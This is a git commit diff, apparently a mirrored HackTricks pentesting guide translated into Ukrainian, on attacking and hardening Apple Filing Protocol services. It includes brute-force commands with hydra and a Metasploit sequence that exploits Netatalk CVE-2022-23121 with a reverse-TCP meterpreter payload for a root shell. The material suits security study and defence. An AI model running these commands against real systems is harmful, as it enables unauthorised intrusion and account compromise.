mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/network-services-pentesting/584-pentesting-afp.md'] to
This commit is contained in:
		
							parent
							
								
									f9726ab176
								
							
						
					
					
						commit
						80611396a1
					
				@ -4,27 +4,109 @@
 | 
			
		||||
 | 
			
		||||
## Основна інформація
 | 
			
		||||
 | 
			
		||||
**Apple Filing Protocol** (**AFP**), раніше відомий як AppleTalk Filing Protocol, є спеціалізованим мережевим протоколом, що входить до складу **Apple File Service** (**AFS**). Він призначений для надання файлових послуг для macOS та класичного Mac OS. AFP вирізняється підтримкою імен файлів у форматі Unicode, дозволів POSIX та списків контролю доступу, ресурсних forks, іменованих розширених атрибутів та складних механізмів блокування файлів. Це був основний протокол для файлових послуг у Mac OS 9 та раніших версіях.
 | 
			
		||||
**Apple Filing Protocol** (**AFP**), раніше відомий як AppleTalk Filing Protocol, є спеціалізованим мережевим протоколом, що входить до складу **Apple File Service** (**AFS**). Він призначений для надання файлових послуг для macOS та класичного Mac OS. AFP вирізняється підтримкою імен файлів у форматі Unicode, дозволів у стилі POSIX та ACL, ресурсних forks, іменованих розширених атрибутів та складних механізмів блокування файлів.
 | 
			
		||||
 | 
			
		||||
**Порт за замовчуванням:** 548
 | 
			
		||||
Хоча AFP був замінений SMB у сучасних випусках macOS (SMB є за замовчуванням з OS X 10.9), його все ще можна зустріти в:
 | 
			
		||||
 | 
			
		||||
* Спадкових середовищах macOS / Mac OS 9
 | 
			
		||||
* NAS-пристроях (QNAP, Synology, Western Digital, TrueNAS…), які вбудовують відкритий **Netatalk** демон
 | 
			
		||||
* Мережах з різними ОС, де все ще увімкнено Time-Machine-over-AFP
 | 
			
		||||
 | 
			
		||||
**Порт TCP за замовчуванням:** **548** (AFP через TCP / DSI)
 | 
			
		||||
```bash
 | 
			
		||||
PORT     STATE SERVICE
 | 
			
		||||
548/tcp  open  afp
 | 
			
		||||
```
 | 
			
		||||
### **Перерахунок**
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
Для перерахунку служб AFP корисні наступні команди та скрипти:
 | 
			
		||||
## Перерахування
 | 
			
		||||
 | 
			
		||||
### Швидка інформація про банер / сервер
 | 
			
		||||
```bash
 | 
			
		||||
msf> use auxiliary/scanner/afp/afp_server_info
 | 
			
		||||
nmap -sV --script "afp-* and not dos and not brute" -p <PORT> <IP>
 | 
			
		||||
# Metasploit auxiliary
 | 
			
		||||
use auxiliary/scanner/afp/afp_server_info
 | 
			
		||||
run RHOSTS=<IP>
 | 
			
		||||
 | 
			
		||||
# Nmap NSE
 | 
			
		||||
nmap -p 548 -sV --script "afp-* and not dos" <IP>
 | 
			
		||||
```
 | 
			
		||||
**Скрипти та їхні описи:**
 | 
			
		||||
Корисні скрипти AFP NSE:
 | 
			
		||||
 | 
			
		||||
- **afp-ls**: Цей скрипт використовується для переліку доступних обсягів та файлів AFP.
 | 
			
		||||
- **afp-path-vuln**: Він перераховує всі обсяги та файли AFP, підкреслюючи потенційні вразливості.
 | 
			
		||||
- **afp-serverinfo**: Це надає детальну інформацію про сервер AFP.
 | 
			
		||||
- **afp-showmount**: Він перераховує доступні спільні ресурси AFP разом з їхніми відповідними ACL.
 | 
			
		||||
| Скрипт | Що він робить |
 | 
			
		||||
|--------|--------------|
 | 
			
		||||
| **afp-ls**            | Перелік доступних обсягів та файлів AFP |
 | 
			
		||||
| **afp-brute**         | Брутфорс паролів для входу в AFP |
 | 
			
		||||
| **afp-serverinfo**    | Виводить ім'я сервера, тип машини, версію AFP, підтримувані UAM тощо. |
 | 
			
		||||
| **afp-showmount**     | Перелік спільних ресурсів разом з їхніми ACL |
 | 
			
		||||
| **afp-path-vuln**     | Виявляє (і може експлуатувати) перехід по каталогах, CVE-2010-0533 |
 | 
			
		||||
 | 
			
		||||
### [**Brute Force**](../generic-hacking/brute-force.md#afp)
 | 
			
		||||
Скрипт брутфорсу NSE можна поєднати з Hydra/Medusa, якщо потрібен більший контроль:
 | 
			
		||||
```bash
 | 
			
		||||
hydra -L users.txt -P passwords.txt afp://<IP>
 | 
			
		||||
```
 | 
			
		||||
### Взаємодія з загальними ресурсами
 | 
			
		||||
 | 
			
		||||
*macOS*
 | 
			
		||||
```bash
 | 
			
		||||
# Finder → Go → "Connect to Server…"
 | 
			
		||||
# or from terminal
 | 
			
		||||
mkdir /Volumes/afp
 | 
			
		||||
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp
 | 
			
		||||
```
 | 
			
		||||
*Linux* (використовуючи `afpfs-ng` ‑ упакований у більшості дистрибутивів)
 | 
			
		||||
```bash
 | 
			
		||||
apt install afpfs-ng
 | 
			
		||||
mkdir /mnt/afp
 | 
			
		||||
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
 | 
			
		||||
# or interactive client
 | 
			
		||||
afp_client <IP>
 | 
			
		||||
```
 | 
			
		||||
Після монтування пам'ятайте, що класичні ресурси Mac зберігаються як приховані `._*` файли AppleDouble – вони часто містять цікаві метадані, які пропускають інструменти DFIR.
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
## Загальні вразливості та експлуатація
 | 
			
		||||
 | 
			
		||||
### Netatalk неавторизований RCE ланцюг (2022)
 | 
			
		||||
 | 
			
		||||
Кілька постачальників NAS випустили **Netatalk ≤3.1.12**. Відсутність перевірки меж у `parse_entries()` дозволяє зловмиснику створити шкідливий заголовок **AppleDouble** і отримати **віддалений root** до аутентифікації (**CVSS 9.8 – CVE-2022-23121**). Повний звіт від NCC Group з PoC, що експлуатує Western-Digital PR4100, доступний.
 | 
			
		||||
 | 
			
		||||
Metasploit (>= 6.3) постачає модуль `exploit/linux/netatalk/parse_entries`, який доставляє корисне навантаження через DSI `WRITE`.
 | 
			
		||||
```bash
 | 
			
		||||
use exploit/linux/netatalk/parse_entries
 | 
			
		||||
set RHOSTS <IP>
 | 
			
		||||
set TARGET 0   # Automatic (Netatalk)
 | 
			
		||||
set PAYLOAD linux/x64/meterpreter_reverse_tcp
 | 
			
		||||
run
 | 
			
		||||
```
 | 
			
		||||
Якщо цільова система працює на вразливій прошивці QNAP/Synology, успішна експлуатація призводить до отримання оболонки як **root**.
 | 
			
		||||
 | 
			
		||||
### Переповнення купи OpenSession Netatalk (2018)
 | 
			
		||||
 | 
			
		||||
Стара версія Netatalk (3.0.0 - 3.1.11) вразлива до запису за межами меж у обробнику **DSI OpenSession**, що дозволяє виконання неавтентифікованого коду (**CVE-2018-1160**). Детальний аналіз та PoC були опубліковані Tenable Research.
 | 
			
		||||
 | 
			
		||||
### Інші помітні проблеми
 | 
			
		||||
 | 
			
		||||
* **CVE-2022-22995** – Перенаправлення символічних посилань, що призводить до запису довільних файлів / RCE, коли AppleDouble v2 увімкнено (3.1.0 - 3.1.17).
 | 
			
		||||
* **CVE-2010-0533** – Перехід по каталогах в Apple Mac OS X 10.6 AFP (виявлено за допомогою `afp-path-vuln.nse`).
 | 
			
		||||
* Було виправлено кілька помилок безпеки пам'яті в **Netatalk 4.x (2024)** – рекомендується оновлення замість патчування окремих CVE.
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
## Рекомендації щодо захисту
 | 
			
		||||
 | 
			
		||||
1. **Вимкніть AFP**, якщо це не є строго необхідним – використовуйте SMB3 або NFS замість цього.
 | 
			
		||||
2. Якщо AFP повинен залишитися, **оновіть Netatalk до ≥ 3.1.18 або 4.x**, або застосуйте прошивку постачальника, яка включає патчі 2022/2023/2024.
 | 
			
		||||
3. Вимагайте **Сильні UAM** (наприклад, *DHX2*), вимкніть логіни у відкритому тексті та гостьові логіни.
 | 
			
		||||
4. Обмежте TCP 548 для довірених підмереж і оберніть AFP у VPN, коли він відкритий віддалено.
 | 
			
		||||
5. Періодично скануйте за допомогою `nmap -p 548 --script afp-*` у CI/CD, щоб виявити зловмисні / знищені пристрої.
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
### [Brute-Force](../generic-hacking/brute-force.md#afp)
 | 
			
		||||
 | 
			
		||||
## Посилання
 | 
			
		||||
 | 
			
		||||
* Netatalk Security Advisory CVE-2022-23121 – "Виконання довільного коду в parse_entries" <https://netatalk.io/security/CVE-2022-23121>
 | 
			
		||||
* Tenable Research – "Експлуатація 18-річної помилки (CVE-2018-1160)" <https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172>
 | 
			
		||||
{{#include ../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user